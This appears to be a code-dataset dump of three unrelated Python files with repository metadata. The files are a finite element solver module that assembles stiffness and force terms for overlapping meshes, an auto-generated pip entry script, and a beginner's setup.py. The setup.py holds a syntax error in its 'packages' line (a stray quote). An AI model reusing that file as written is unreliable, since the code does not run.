Kglo=scipy.sparse.coo_matrix((Vglo,(Iglo,Jglo)),shape=(2*len(coordinates),2*len(coordinates))).tocsr() print("Assembling stiffness matrix costs %s seconds."%(time.time()-startTime)) startTime=time.time() # Force term. indForce=inputData[-2] if indForce[0]: # Body force is imposed. pass fglo=np.zeros((2*len(coordinates),1)) if len(indForce)==2 or (len(indForce)==3 and indForce[2]==0): forceList=inputData[-1] elif len(indForce)==3 and indForce[2]==1: forceList=inputData[-1][0] cForceList=inputData[-1][1] for i in cForceList: # We assume here that no concentrated force is acting on the overlap. # We can remove this assumption but the code would be complicated as we need the rho functions. fglo[2*i[0],0]+=i[1] fglo[2*i[0]+1,0]+=i[2] nInt=3 if indForce[1]: nInt+=2 # Customized boundary force. pos,wei=numericalIntegration.gaussQuad(nInt) nodeElements=toDC.nodeElementList(coordinates,meshes) for i in range(len(forceList)//2): node1=forceList[2*i][0] node2=forceList[2*i+1][0] force1=np.array([forceList[2*i][1:3]]).transpose() force2=np.array([forceList[2*i+1][1:3]]).transpose() force3=0.5*(force1+force2) # Linear interpolation # Find the element. elementPosition=None element=(set(nodeElementsPartial[node1]) & set(nodeElementsPartial[node2])) if element: elementPosition=element.pop() if elementPosition and (overlappingMesh[elementPosition[0]]\ [elementPosition[1]].polygons[0].triangles is not None): # This edge is on some triangulated element. numbering=overlappingMesh[elementPosition[0]][elementPosition[1]].numbering node3=traditionalElement.findMidNode(numbering,node1,node2) if node3 is not None: # This edge is on some higher-order element. floc=np.zeros((6,1)) if coordinates[node3]: coord=np.array([coordinates[node1],coordinates[node2],coordinates[node3]]) else: coord=np.array([coordinates[node1],coordinates[node2],[0.0,0.0]]) coord[2,:]=0.5*(coord[0,:]+coord[1,:]) for j in overlappingMesh[elementPosition[0]][elementPosition[1]].polygons: for k in j.triangles: # Test if this triangle contains the edge. # If yes, integrate. boundaryEdge=isTriangleContainingBoundary(k,coord[0],coord[1]) if boundaryEdge: # In such a case, an edge of the triangle is exactly the edge defined by node1 and node2. # It can be curved. rho=np.array([boundaryEdge.origin.rho[elementPosition[0]],\ boundaryEdge.destination.rho[elementPosition[0]],0.0]) rho[2]=0.5*(rho[0]+rho[1]) coordEdge=coord for l in range(nInt): Nmat,Jacobian=shapeFunction.oneDQuadratic(pos[l],coordEdge) rhoValue=Nmat[0,0]*rho[0]+Nmat[0,2]*rho[1]+Nmat[0,4]*rho[2] if indForce[1]: # Customized boundary force xy=Nmat[0,0]*coordEdge[0]+Nmat[0,2]*coordEdge[1]+Nmat[0,4]*coordEdge[2] force=cForce.customizedForce(xy[0],xy[1]) else: force=Nmat[0,0]*force1+Nmat[0,2]*force2+Nmat[0,4]*force3 floc+=wei[l]*Jacobian*rhoValue*np.matmul(Nmat.transpose(),force) break # Test if the triangle contains part of the boundary edge. boundaryEdge=isTriangleOnBoundary(k,coord[0],coord[1]) if boundaryEdge: # It must be a straight edge. rho=np.array([boundaryEdge.origin.rho[elementPosition[0]],\ boundaryEdge.destination.rho[elementPosition[0]]]) coordEdge=np.array([[boundaryEdge.origin.x,boundaryEdge.origin.y],\ [boundaryEdge.destination.x,boundaryEdge.destination.y]]) lengthEdge=lenEdge(coordEdge[0],coordEdge[1]) for l in range(nInt): Nmat=shapeFunction.oneDLinear2(pos[l]) rhoValue=(Nmat@rho)[0] xy=(Nmat@coordEdge).reshape(-1) isoCoord=invShapeFunction.invLine(coord,xy) Nmat,_=shapeFunction.oneDQuadratic(isoCoord,coord) if indForce[1]: # Customized boundary force force=cForce.customizedForce(xy[0],xy[1]) else: force=Nmat[0,0]*force1+Nmat[0,2]*force2+Nmat[0,4]*force3 floc+=0.5*wei[l]*lengthEdge*rhoValue*np.matmul(Nmat.transpose(),force) break else: # This edge is on some lower-order element. # Just copy the code for lower-order AMORE. floc=np.zeros((4,1)) coord=np.array([coordinates[node1],coordinates[node2]]) for j in overlappingMesh[elementPosition[0]][elementPosition[1]].polygons: for k in j.triangles: # Test if this triangle is on the boundary. # If yes, integrate. boundaryEdge=isTriangleOnBoundary(k,coord[0],coord[1]) if boundaryEdge: rho=np.array([boundaryEdge.origin.rho[elementPosition[0]],\ boundaryEdge.destination.rho[elementPosition[0]]]) coordEdge=np.array([[boundaryEdge.origin.x,boundaryEdge.origin.y],\ [boundaryEdge.destination.x,boundaryEdge.destination.y]]) lengthEdge=lenEdge(coordEdge[0],coordEdge[1]) for l in range(nInt): Nmat=shapeFunction.oneDLinear2(pos[l]) rhoValue=(Nmat@rho)[0] xy=(Nmat@coordEdge).reshape(-1) isoCoord=invShapeFunction.invLine(coord,xy) Nmat=shapeFunction.oneDLinear(isoCoord) if indForce[1]: # Customized boundary force force=cForce.customizedForce(xy[0],xy[1]) else: force=Nmat[0,0]*force1+Nmat[0,2]*force2 floc+=0.5*wei[l]*lengthEdge*rhoValue*np.matmul(Nmat.transpose(),force) break elif elementPosition and (overlappingMesh[elementPosition[0]]\ [elementPosition[1]].polygons[0].triangles is None): # A regular element. numbering=overlappingMesh[elementPosition[0]][elementPosition[1]].numbering node3=traditionalElement.findMidNode(numbering,node1,node2) if node3 is not None: floc=np.zeros((6,1)) if coordinates[node3]: coord=np.array([coordinates[node1],coordinates[node2],coordinates[node3]]) else: coord=np.array([coordinates[node1],coordinates[node2],[0.0,0.0]]) coord[2,:]=0.5*(coord[0,:]+coord[1,:]) for j in range(nInt): Nmat,Jacobian=shapeFunction.oneDQuadratic(pos[j],coord) if indForce[1]: # Customized boundary force xy=Nmat[0,0]*coord[0]+Nmat[0,2]*coord[1]+Nmat[0,4]*coord[2] force=cForce.customizedForce(xy[0],xy[1]) else: force=Nmat[0,0]*force1+Nmat[0,2]*force2+Nmat[0,4]*force3 floc+=wei[j]*Jacobian*np.matmul(Nmat.transpose(),force) else: floc=np.zeros((4,1)) length=lenEdge(coordinates[node1],coordinates[node2]) coord=np.array([coordinates[node1],coordinates[node2]]) for j in range(nInt): Nmat=shapeFunction.oneDLinear(pos[j]) if indForce[1]: # Customized boundary force xy=Nmat[0,0]*coord[0]+Nmat[0,2]*coord[1] force=cForce.customizedForce(xy[0],xy[1]) else: force=Nmat[0,0]*force1+Nmat[0,2]*force2 floc+=0.5*wei[j]*length*np.matmul(Nmat.transpose(),force) else: # This is a regular element. elementPosition=(set(nodeElements[node1]) & set(nodeElements[node2])).pop() numbering=meshes[elementPosition[0]][elementPosition[1]] node3=traditionalElement.findMidNode(numbering,node1,node2) if node3 is not None: floc=np.zeros((6,1)) if coordinates[node3]: coord=np.array([coordinates[node1],coordinates[node2],coordinates[node3]]) else: coord=np.array([coordinates[node1],coordinates[node2],[0.0,0.0]]) coord[2,:]=0.5*(coord[0,:]+coord[1,:]) # Find the 3rd node. for j in range(nInt): Nmat,Jacobian=shapeFunction.oneDQuadratic(pos[j],coord) if indForce[1]: # Customized boundary force xy=Nmat[0,0]*coord[0]+Nmat[0,2]*coord[1]+Nmat[0,4]*coord[2] force=cForce.customizedForce(xy[0],xy[1]) else: force=Nmat[0,0]*force1+Nmat[0,2]*force2+Nmat[0,4]*force3 floc+=wei[j]*Jacobian*np.matmul(Nmat.transpose(),force) else: floc=np.zeros((4,1)) length=lenEdge(coordinates[node1],coordinates[node2]) coord=np.array([coordinates[node1],coordinates[node2]]) for j in range(nInt): Nmat=shapeFunction.oneDLinear(pos[j]) if indForce[1]: # Customized boundary force xy=Nmat[0,0]*coord[0]+Nmat[0,2]*coord[1] force=cForce.customizedForce(xy[0],xy[1]) else: force=Nmat[0,0]*force1+Nmat[0,2]*force2 floc+=0.5*wei[j]*length*np.matmul(Nmat.transpose(),force) fglo[2*node1:2*node1+2,0]+=floc[0:2,0] fglo[2*node2:2*node2+2,0]+=floc[2:4,0] if len(floc)==6: fglo[2*node3:2*node3+2,0]+=floc[4:6,0] print("Calculating force term costs %s seconds."%(time.time()-startTime)) startTime=time.time() # Impose constraints. fixList=np.zeros((2*len(coordinates),1)) fixIndexList=np.zeros((2*len(coordinates),1),dtype=int) constraintList=inputData[-3] # Very important!!! Sort the constraints!!! constraintList.sort(key=lambda item:item[0]) for i in constraintList: if i[1]: fixList[2*i[0]]=i[3] fixIndexList[2*i[0]]=1 if i[2]: fixList[2*i[0]+1]=i[4] fixIndexList[2*i[0]+1]=1 # Solve. fglo-=(Kglo.dot(fixList)) Kglo_complete=Kglo.copy() Kglo=Kglo.tolil() count=0 for i in constraintList: if i[1]: delete_row_lil(Kglo,2*i[0]-count) fglo=np.delete(fglo,2*i[0]-count) count+=1 if i[2]: delete_row_lil(Kglo,2*i[0]+1-count) fglo=np.delete(fglo,2*i[0]+1-count) count+=1 Kglo=Kglo.transpose() count=0 for i in constraintList: if i[1]: delete_row_lil(Kglo,2*i[0]-count) count+=1 if i[2]: delete_row_lil(Kglo,2*i[0]+1-count) count+=1 print("Imposing constraints costs %s seconds."%(time.time()-startTime)) startTime=time.time() Kglo=Kglo.tocsc() # factor=cholesky(Kglo) # disp=factor(fglo) disp=spsolve(Kglo,fglo) print("Number of equations = %s."%(len(disp))) print("Number of entries = %s."%(Kglo.getnnz())) print("Number of non-zero entries = %s."%(Kglo.count_nonzero())) print("Solving the linear system costs %s seconds."%(time.time()-startTime)) # The complete displacement solution: displacement=np.zeros((2*len(coordinates),1)) count=0 for i in range(2*len(coordinates)): if fixIndexList[i]: displacement[i]=fixList[i] count+=1 else: displacement[i]=disp[i-count] energy=0.5*displacement.transpose()@Kglo_complete@displacement return displacement,energy,materialMatrix def quadraticICMAMORE(inputData,overlappingMesh,polygons,nodeElementsPartial): """AMORE scheme with lower-order traditional FE on the boundary meshes.""" startTime=time.time() parameters=inputData[0] # Material matrices. materialList=inputData[6] materialMatrix=[None]*len(materialList) for i in range(len(materialList)): materialMatrix[i]=twoDMaterialMatrix(materialList[i],parameters[1]) # Assemble stiffness matrix. coordinates=inputData[5] meshes=inputData[3] numberOfMesh=len(meshes) materialMeshList=inputData[4] Iglo=[] Jglo=[] Vglo=[] # Integrate over non-overlapping elements. for i in range(len(meshes)): for j in range(len(meshes[i])): if meshes[i][j] is not None: coord=getCoord(coordinates,meshes[i][j]) if len(meshes[i][j])==3: Kloc=stiffnessMatrix.triFE(coord,materialMatrix[materialMeshList[i][j]]) elif len(meshes[i][j])==4: Kloc,_,_=stiffnessMatrix.ICMFE(coord,materialMatrix[materialMeshList[i][j]]) elif len(meshes[i][j])==6: Kloc=stiffnessMatrix.triQuadFE(coord,materialMatrix[materialMeshList[i][j]]) elif len(meshes[i][j])==9: Kloc=stiffnessMatrix.quadQuadFE(coord,materialMatrix[materialMeshList[i][j]]) else: raise ValueError("Wrong element numbering!") Iloc,Jloc,Vloc=stiffnessMatrix.sparsifyElementMatrix(Kloc,meshes[i][j]) Iglo.extend(Iloc) Jglo.extend(Jloc) Vglo.extend(Vloc) # Integrate for the overlapping meshes. for i in range(len(polygons)): if polygons[i].triangles is None: # It is a traditional element. for j in polygons[i].incidentElements: if j: numbering=j.numbering position=j.position break coord=getCoord(coordinates,numbering) if len(numbering)==3: Kloc=stiffnessMatrix.triFE(coord,materialMatrix[materialMeshList[position[0]][position[1]]]) elif len(numbering)==4: Kloc,_,_=stiffnessMatrix.ICMFE(coord,materialMatrix[materialMeshList[position[0]][position[1]]]) elif len(numbering)==6: Kloc=stiffnessMatrix.triQuadFE(coord,materialMatrix[materialMeshList[position[0]][position[1]]]) elif len(numbering)==9: Kloc=stiffnessMatrix.quadQuadFE(coord,materialMatrix[materialMeshList[position[0]][position[1]]]) else: raise ValueError("Wrong element numbering!") Iloc,Jloc,Vloc=stiffnessMatrix.sparsifyElementMatrix(Kloc,numbering) Iglo.extend(Iloc) Jglo.extend(Jloc) Vglo.extend(Vloc) else: for j in range(numberOfMesh): if polygons[i].incidentElements[j]: numbering=polygons[i].incidentElements[j].numbering position=polygons[i].incidentElements[j].position coord=getCoord(coordinates,numbering) Kloc=np.zeros((2*len(numbering),2*len(numbering))) # Integrate the diagonal terms. for k in polygons[i].triangles: rho=getRho(k,position[0]) coordTri=coordCurvedTriangle(k,polygons[i].incidentElements,coordinates) Kloc+=stiffnessMatrix.quadraticAMORE(coordTri,\ materialMatrix[materialMeshList[position[0]][position[1]]],coord,rho) Iloc,Jloc,Vloc=stiffnessMatrix.sparsifyElementMatrix(Kloc,numbering) Iglo.extend(Iloc) Jglo.extend(Jloc) Vglo.extend(Vloc) # Integrate the off-diagonal terms. for l in range(j+1,numberOfMesh): if polygons[i].incidentElements[l]: numbering2=polygons[i].incidentElements[l].numbering position2=polygons[i].incidentElements[l].position coord2=getCoord(coordinates,numbering2) Kloc=np.zeros((2*len(numbering),2*len(numbering2))) for k in polygons[i].triangles: rho=getRho(k,position[0]) rho2=getRho(k,position2[0]) coordTri=coordCurvedTriangle(k,polygons[i].incidentElements,coordinates) Kloc+=stiffnessMatrix.quadraticAMORE(coordTri,\ materialMatrix[materialMeshList[position[0]][position[1]]],coord,rho,coord2,rho2) Iloc,Jloc,Vloc=stiffnessMatrix.sparsifyElementMatrix(Kloc,numbering,numbering2) Iglo.extend(Iloc) Jglo.extend(Jloc) Vglo.extend(Vloc) Iloc,Jloc,Vloc=stiffnessMatrix.sparsifyElementMatrix(Kloc.transpose(),numbering2,numbering) Iglo.extend(Iloc) Jglo.extend(Jloc) Vglo.extend(Vloc) Iglo=np.array(Iglo,dtype=int) Jglo=np.array(Jglo,dtype=int) Vglo=np.array(Vglo,dtype='d') Kglo=scipy.sparse.coo_matrix((Vglo,(Iglo,Jglo)),shape=(2*len(coordinates),2*len(coordinates))).tocsr() print("Assembling stiffness matrix costs %s seconds."%(time.time()-startTime)) startTime=time.time() # Force term. indForce=inputData[-2] if indForce[0]: # Body force is imposed. pass fglo=np.zeros((2*len(coordinates),1)) if len(indForce)==2 or (len(indForce)==3 and indForce[2]==0): forceList=inputData[-1] elif len(indForce)==3 and indForce[2]==1: forceList=inputData[-1][0] cForceList=inputData[-1][1] for i in cForceList: # We assume here that no concentrated force is acting on the overlap. # We can remove this assumption but the code would be complicated as we need the rho functions. fglo[2*i[0],0]+=i[1] fglo[2*i[0]+1,0]+=i[2] nInt=3 if indForce[1]: nInt+=2 # Customized boundary force. pos,wei=numericalIntegration.gaussQuad(nInt) nodeElements=toDC.nodeElementList(coordinates,meshes) for i in range(len(forceList)//2): node1=forceList[2*i][0] node2=forceList[2*i+1][0] force1=np.array([forceList[2*i][1:3]]).transpose() force2=np.array([forceList[2*i+1][1:3]]).transpose() force3=0.5*(force1+force2) # Linear interpolation # Find the element. elementPosition=None element=(set(nodeElementsPartial[node1]) & set(nodeElementsPartial[node2])) if element: elementPosition=element.pop() if elementPosition and (overlappingMesh[elementPosition[0]]\ [elementPosition[1]].polygons[0].triangles is not None): # This edge is on some triangulated element. numbering=overlappingMesh[elementPosition[0]][elementPosition[1]].numbering node3=traditionalElement.findMidNode(numbering,node1,node2) if node3 is not None: # This edge is on some higher-order element. floc=np.zeros((6,1)) if coordinates[node3]: coord=np.array([coordinates[node1],coordinates[node2],coordinates[node3]]) else: coord=np.array([coordinates[node1],coordinates[node2],[0.0,0.0]]) coord[2,:]=0.5*(coord[0,:]+coord[1,:]) for j in overlappingMesh[elementPosition[0]][elementPosition[1]].polygons: for k in j.triangles: # Test if this triangle contains the edge. # If yes, integrate. boundaryEdge=isTriangleContainingBoundary(k,coord[0],coord[1]) if boundaryEdge: # In such a case, an edge of the triangle is exactly the edge defined by node1 and node2. # It can be curved. rho=np.array([boundaryEdge.origin.rho[elementPosition[0]],\ boundaryEdge.destination.rho[elementPosition[0]],0.0]) rho[2]=0.5*(rho[0]+rho[1]) coordEdge=coord for l in range(nInt): Nmat,Jacobian=shapeFunction.oneDQuadratic(pos[l],coordEdge) rhoValue=Nmat[0,0]*rho[0]+Nmat[0,2]*rho[1]+Nmat[0,4]*rho[2] if indForce[1]: # Customized boundary force xy=Nmat[0,0]*coordEdge[0]+Nmat[0,2]*coordEdge[1]+Nmat[0,4]*coordEdge[2] force=cForce.customizedForce(xy[0],xy[1]) else: force=Nmat[0,0]*force1+Nmat[0,2]*force2+Nmat[0,4]*force3 floc+=wei[l]*Jacobian*rhoValue*np.matmul(Nmat.transpose(),force) break # Test if the triangle contains part of the boundary edge. boundaryEdge=isTriangleOnBoundary(k,coord[0],coord[1]) if boundaryEdge: # It must be a straight edge. rho=np.array([boundaryEdge.origin.rho[elementPosition[0]],\ boundaryEdge.destination.rho[elementPosition[0]]]) coordEdge=np.array([[boundaryEdge.origin.x,boundaryEdge.origin.y],\ [boundaryEdge.destination.x,boundaryEdge.destination.y]]) lengthEdge=lenEdge(coordEdge[0],coordEdge[1]) for l in range(nInt): Nmat=shapeFunction.oneDLinear2(pos[l]) rhoValue=(Nmat@rho)[0] xy=(Nmat@coordEdge).reshape(-1) isoCoord=invShapeFunction.invLine(coord,xy) Nmat,_=shapeFunction.oneDQuadratic(isoCoord,coord) if indForce[1]: # Customized boundary force force=cForce.customizedForce(xy[0],xy[1]) else: force=Nmat[0,0]*force1+Nmat[0,2]*force2+Nmat[0,4]*force3 floc+=0.5*wei[l]*lengthEdge*rhoValue*np.matmul(Nmat.transpose(),force) break else: # This edge is on some lower-order element. # Just copy the code for lower-order AMORE. floc=np.zeros((4,1)) coord=np.array([coordinates[node1],coordinates[node2]]) for j in overlappingMesh[elementPosition[0]][elementPosition[1]].polygons: for k in j.triangles: # Test if this triangle is on the boundary. # If yes, integrate. boundaryEdge=isTriangleOnBoundary(k,coord[0],coord[1]) if boundaryEdge: rho=np.array([boundaryEdge.origin.rho[elementPosition[0]],\ boundaryEdge.destination.rho[elementPosition[0]]]) coordEdge=np.array([[boundaryEdge.origin.x,boundaryEdge.origin.y],\ [boundaryEdge.destination.x,boundaryEdge.destination.y]]) lengthEdge=lenEdge(coordEdge[0],coordEdge[1]) for l in range(nInt): Nmat=shapeFunction.oneDLinear2(pos[l]) rhoValue=(Nmat@rho)[0] xy=(Nmat@coordEdge).reshape(-1) isoCoord=invShapeFunction.invLine(coord,xy) Nmat=shapeFunction.oneDLinear(isoCoord) if indForce[1]: # Customized boundary force force=cForce.customizedForce(xy[0],xy[1]) else: force=Nmat[0,0]*force1+Nmat[0,2]*force2 floc+=0.5*wei[l]*lengthEdge*rhoValue*np.matmul(Nmat.transpose(),force) break elif elementPosition and (overlappingMesh[elementPosition[0]]\ [elementPosition[1]].polygons[0].triangles is None): # A regular element. numbering=overlappingMesh[elementPosition[0]][elementPosition[1]].numbering node3=traditionalElement.findMidNode(numbering,node1,node2) if node3 is not None: floc=np.zeros((6,1)) if coordinates[node3]: coord=np.array([coordinates[node1],coordinates[node2],coordinates[node3]]) else: coord=np.array([coordinates[node1],coordinates[node2],[0.0,0.0]]) coord[2,:]=0.5*(coord[0,:]+coord[1,:]) for j in range(nInt): Nmat,Jacobian=shapeFunction.oneDQuadratic(pos[j],coord) if indForce[1]: # Customized boundary force xy=Nmat[0,0]*coord[0]+Nmat[0,2]*coord[1]+Nmat[0,4]*coord[2] force=cForce.customizedForce(xy[0],xy[1]) else: force=Nmat[0,0]*force1+Nmat[0,2]*force2+Nmat[0,4]*force3 floc+=wei[j]*Jacobian*np.matmul(Nmat.transpose(),force) else: floc=np.zeros((4,1)) length=lenEdge(coordinates[node1],coordinates[node2]) coord=np.array([coordinates[node1],coordinates[node2]]) for j in range(nInt): Nmat=shapeFunction.oneDLinear(pos[j]) if indForce[1]: # Customized boundary force xy=Nmat[0,0]*coord[0]+Nmat[0,2]*coord[1] force=cForce.customizedForce(xy[0],xy[1]) else: force=Nmat[0,0]*force1+Nmat[0,2]*force2 floc+=0.5*wei[j]*length*np.matmul(Nmat.transpose(),force) else: # This is a regular element. elementPosition=(set(nodeElements[node1]) & set(nodeElements[node2])).pop() numbering=meshes[elementPosition[0]][elementPosition[1]] node3=traditionalElement.findMidNode(numbering,node1,node2) if node3 is not None: floc=np.zeros((6,1)) if coordinates[node3]: coord=np.array([coordinates[node1],coordinates[node2],coordinates[node3]]) else: coord=np.array([coordinates[node1],coordinates[node2],[0.0,0.0]]) coord[2,:]=0.5*(coord[0,:]+coord[1,:]) # Find the 3rd node. for j in range(nInt): Nmat,Jacobian=shapeFunction.oneDQuadratic(pos[j],coord) if indForce[1]: # Customized boundary force xy=Nmat[0,0]*coord[0]+Nmat[0,2]*coord[1]+Nmat[0,4]*coord[2] force=cForce.customizedForce(xy[0],xy[1]) else: force=Nmat[0,0]*force1+Nmat[0,2]*force2+Nmat[0,4]*force3 floc+=wei[j]*Jacobian*np.matmul(Nmat.transpose(),force) else: floc=np.zeros((4,1)) length=lenEdge(coordinates[node1],coordinates[node2]) coord=np.array([coordinates[node1],coordinates[node2]]) for j in range(nInt): Nmat=shapeFunction.oneDLinear(pos[j]) if indForce[1]: # Customized boundary force xy=Nmat[0,0]*coord[0]+Nmat[0,2]*coord[1] force=cForce.customizedForce(xy[0],xy[1]) else: force=Nmat[0,0]*force1+Nmat[0,2]*force2 floc+=0.5*wei[j]*length*np.matmul(Nmat.transpose(),force) fglo[2*node1:2*node1+2,0]+=floc[0:2,0] fglo[2*node2:2*node2+2,0]+=floc[2:4,0] if len(floc)==6: fglo[2*node3:2*node3+2,0]+=floc[4:6,0] print("Calculating force term costs %s seconds."%(time.time()-startTime)) startTime=time.time() # Impose constraints. fixList=np.zeros((2*len(coordinates),1)) fixIndexList=np.zeros((2*len(coordinates),1),dtype=int) constraintList=inputData[-3] # Very important!!! Sort the constraints!!! constraintList.sort(key=lambda item:item[0]) for i in constraintList: if i[1]: fixList[2*i[0]]=i[3] fixIndexList[2*i[0]]=1 if i[2]: fixList[2*i[0]+1]=i[4] fixIndexList[2*i[0]+1]=1 # Solve. fglo-=(Kglo.dot(fixList)) Kglo_complete=Kglo.copy() Kglo=Kglo.tolil() count=0 for i in constraintList: if i[1]: delete_row_lil(Kglo,2*i[0]-count) fglo=np.delete(fglo,2*i[0]-count) count+=1 if i[2]: delete_row_lil(Kglo,2*i[0]+1-count) fglo=np.delete(fglo,2*i[0]+1-count) count+=1 Kglo=Kglo.transpose() count=0 for i in constraintList: if i[1]: delete_row_lil(Kglo,2*i[0]-count) count+=1 if i[2]: delete_row_lil(Kglo,2*i[0]+1-count) count+=1 print("Imposing constraints costs %s seconds."%(time.time()-startTime)) startTime=time.time() Kglo=Kglo.tocsc() # factor=cholesky(Kglo) # disp=factor(fglo) disp=spsolve(Kglo,fglo) print("Number of equations = %s."%(len(disp))) print("Number of stored entries = %s."%(Kglo.getnnz())) print("Number of non-zero entries = %s."%(Kglo.count_nonzero())) print("Solving the linear system costs %s seconds."%(time.time()-startTime)) # The complete displacement solution: displacement=np.zeros((2*len(coordinates),1)) count=0 for i in range(2*len(coordinates)): if fixIndexList[i]: displacement[i]=fixList[i] count+=1 else: displacement[i]=disp[i-count] energy=0.5*displacement.transpose()@Kglo_complete@displacement return displacement,energy,materialMatrix def twoDMaterialMatrix(material,problemType): """Input: material: [E,nu]; problemType: 1 -- Plane stress; 2 -- Plane strain.""" if problemType==1: # Plane stress Dmat=np.array([[material[0]/(1.0-material[1]**2),material[0]*material[1]/(1.0-material[1]**2),0.0],\ [material[0]*material[1]/(1.0-material[1]**2),material[0]/(1.0-material[1]**2),0.0],\ [0.0,0.0,material[0]/2.0/(1.0+material[1])]]) elif problemType==2: #Plane strain cc=material[0]*(1.0-material[1])/(1.0+material[1])/(1.0-2.0*material[1]) Dmat=np.array([[cc,cc*material[1]/(1.0-material[1]),0.0],\ [cc*material[1]/(1.0-material[1]),cc,0.0],\ [0.0,0.0,cc*(1.0-2.0*material[1])/(2.0*(1.0-material[1]))]]) else: raise ValueError("No such a problem type!") return Dmat def coordCurvedTriangle(HalfEdge,incidentElements,coordinates): edge=HalfEdge startingEdge=edge for i in incidentElements: if i and len(i.numbering)>4: # A higher-order element edge=startingEdge if len(i.numbering)==9: numberOfNode=4 temp=[1,2,3,0] elif len(i.numbering)==6: numberOfNode=3 temp=[1,2,0] else: raise ValueError # Find the curved edge in i. curvedEdge=[] for j in range(numberOfNode): if coordinates[i.numbering[j+numberOfNode]] is not None: curvedEdge.append(j) ind=[0,0,0] ind2=[None,None,None] for j in range(3): for k in curvedEdge: if isEqual(edge.origin,coordinates[i.numbering[k]]) and \ isEqual(edge.destination,coordinates[i.numbering[temp[k]]]): ind[j]=1 ind2[j]=k break edge=edge.next if sum(ind)>0: edge=startingEdge coord=np.zeros((6,2)) for j in range(3): coord[j,:]=np.array([edge.origin.x,edge.origin.y]) if ind2[j] is not None: coord[j+3,:]=np.array(coordinates[i.numbering[ind2[j]+numberOfNode]]) else: coord[j+3,:]=np.array(midEdge(edge)) edge=edge.next return coord elif i and len(i.numbering)<=4: return stiffnessMatrix.getCoordFromHalfEdge(startingEdge) return stiffnessMatrix.getCoordFromHalfEdge(startingEdge) def midEdge(edge): return [(edge.origin.x+edge.destination.x)/2,(edge.origin.y+edge.destination.y)/2] def isEqual(vertex,coordinate): if vertex.x==coordinate[0] and vertex.y==coordinate[1]: return True else: return False def getCoord(coordinates,numbering): coord=np.zeros((len(numbering),2)) if len(numbering)==3 or len(numbering)==4: # 1st-order element. for i in range(len(numbering)): coord[i,:]=np.array(coordinates[numbering[i]]) elif len(numbering)==6: # 2nd-order triangle. for i in range(3): coord[i,:]=np.array(coordinates[numbering[i]]) temp=[1,2,0] for i in range(3,6): if coordinates[numbering[i]]: coord[i,:]=np.array(coordinates[numbering[i]]) else: coord[i,:]=0.5*(np.array(coordinates[numbering[i-3]])+np.array(coordinates[numbering[temp[i-3]]])) elif len(numbering)==9: # 2nd-order quad. for i in range(4): coord[i,:]=np.array(coordinates[numbering[i]]) temp=[1,2,3,0] for i in range(4,8): if coordinates[numbering[i]]: coord[i,:]=np.array(coordinates[numbering[i]]) else: coord[i,:]=0.5*(np.array(coordinates[numbering[i-4]])+np.array(coordinates[numbering[temp[i-4]]])) if coordinates[numbering[8]]: coord[8,:]=np.array(coordinates[numbering[8]]) else: coord[8,:]=0.25*(np.array(coordinates[numbering[0]])+\ np.array(coordinates[numbering[1]])+\ np.array(coordinates[numbering[2]])+\ np.array(coordinates[numbering[3]])) else: raise ValueError return coord def lenEdge(coord1,coord2): return ((coord1[0]-coord2[0])**2+(coord1[1]-coord2[1])**2)**0.5 def delete_row_lil(matrix,i): if not isinstance(matrix,scipy.sparse.lil_matrix): raise ValueError("The matrix should be in LIL format!") matrix.rows=np.delete(matrix.rows,i) matrix.data=np.delete(matrix.data,i) matrix._shape=(matrix._shape[0]-1,matrix._shape[1]) def getRho(edge,i): # This is actually the weight functions. rho=np.array([edge.origin.rho[i],edge.next.origin.rho[i],edge.next.next.origin.rho[i]]) return rho def isTriangleOnBoundary(edge,coord1,coord2): numberOfEgde=triangulation.countEdges(edge) length=math.sqrt((coord1[0]-coord2[0])**2+(coord1[1]-coord2[1])**2) length1=math.sqrt((edge.origin.x-coord2[0])**2+(edge.origin.y-coord2[1])**2) for _ in range(numberOfEgde): length2=math.sqrt((edge.destination.x-coord2[0])**2+(edge.destination.y-coord2[1])**2) if abs(planeSweepMeshes.crossProductBasic(edge.origin.x-coord2[0],\ edge.origin.y-coord2[1],coord1[0]-coord2[0],coord1[1]-coord2[1]))<=10**(-13)*length*length1\ and \ abs(planeSweepMeshes.crossProductBasic(edge.destination.x-coord2[0],\ edge.destination.y-coord2[1],coord1[0]-coord2[0],coord1[1]-coord2[1]))<=10**(-13)*length*length2: return edge length1=length2 edge=edge.next return None def isTriangleContainingBoundary(edge,coord1,coord2): numberOfEgde=triangulation.countEdges(edge) for _ in range(numberOfEgde): if (edge.origin.x==coord1[0] and edge.origin.y==coord1[1] and \ edge.destination.x==coord2[0] and edge.destination.y==coord2[1]): return edge elif (edge.origin.x==coord2[0] and edge.origin.y==coord2[1] and \ edge.destination.x==coord1[0] and edge.destination.y==coord1[1]): return edge.twin edge=edge.next return None
[ "jun-bin_huang@outlook.com" ]
jun-bin_huang@outlook.com
b589561a43da25d1488e6df1ed498a404fc4c4c2
696b8436e158b5cafb9f7b284fd4be19839daba1
/venv/Scripts/pip3-script.py
631385b277812037ef2417c8f97e0983e3e59909
[]
no_license
alexzhukovwork/GraphicEditor
bc6742d870fda1138eb7d27c76a0262355f2ac9a
b43bfb7c86ebc7ae8baefcf95aa3334dbb7c8dd0
refs/heads/master
2020-04-07T14:45:21.150110
2020-04-06T11:31:08
2020-04-06T11:31:08
158,459,867
0
0
null
null
null
null
UTF-8
Python
false
false
407
py
#!D:\GraphicEditor\QTGraphicEditor\venv\Scripts\python.exe # EASY-INSTALL-ENTRY-SCRIPT: 'pip==19.0.3','console_scripts','pip3' __requires__ = 'pip==19.0.3' import re import sys from pkg_resources import load_entry_point if __name__ == '__main__': sys.argv[0] = re.sub(r'(-script\.pyw?|\.exe)?$', '', sys.argv[0]) sys.exit( load_entry_point('pip==19.0.3', 'console_scripts', 'pip3')() )
[ "alexzhukovwork@yandex.ru" ]
alexzhukovwork@yandex.ru
3891f5f8d8f95e10516ee69ee0954f024ea8f52c
e30c8ac00382257e261ba99127923c6e20667d15
/LearnPythonTheHardWay/projects/ex47/setup.py
383d9151961ff18b39962b344912c477f014bc8b
[]
no_license
binglei5367/LearningPython
ed00efbdd3a898425508806277266509c875f14b
b7392999ca053d6af7afc03ace37fac32b1cd403
refs/heads/master
2020-06-28T19:36:36.849971
2016-11-28T16:08:15
2016-11-28T16:08:15
74,479,205
0
0
null
null
null
null
UTF-8
Python
false
false
384
py
try: from setuptools import setup except ImportError: from distutils.core import setup config = { 'description': 'ex47', 'author': 'S e e k', 'url': 'URL to get it at.', 'download_url': 'Where to download it.', 'author_email': '15327700930m0@sina.cn', 'version': '0.1', 'install_requires': ['nose'], 'packages': '['ex47'], 'scripts': [], 'name': 'ex47' } setup(**config)
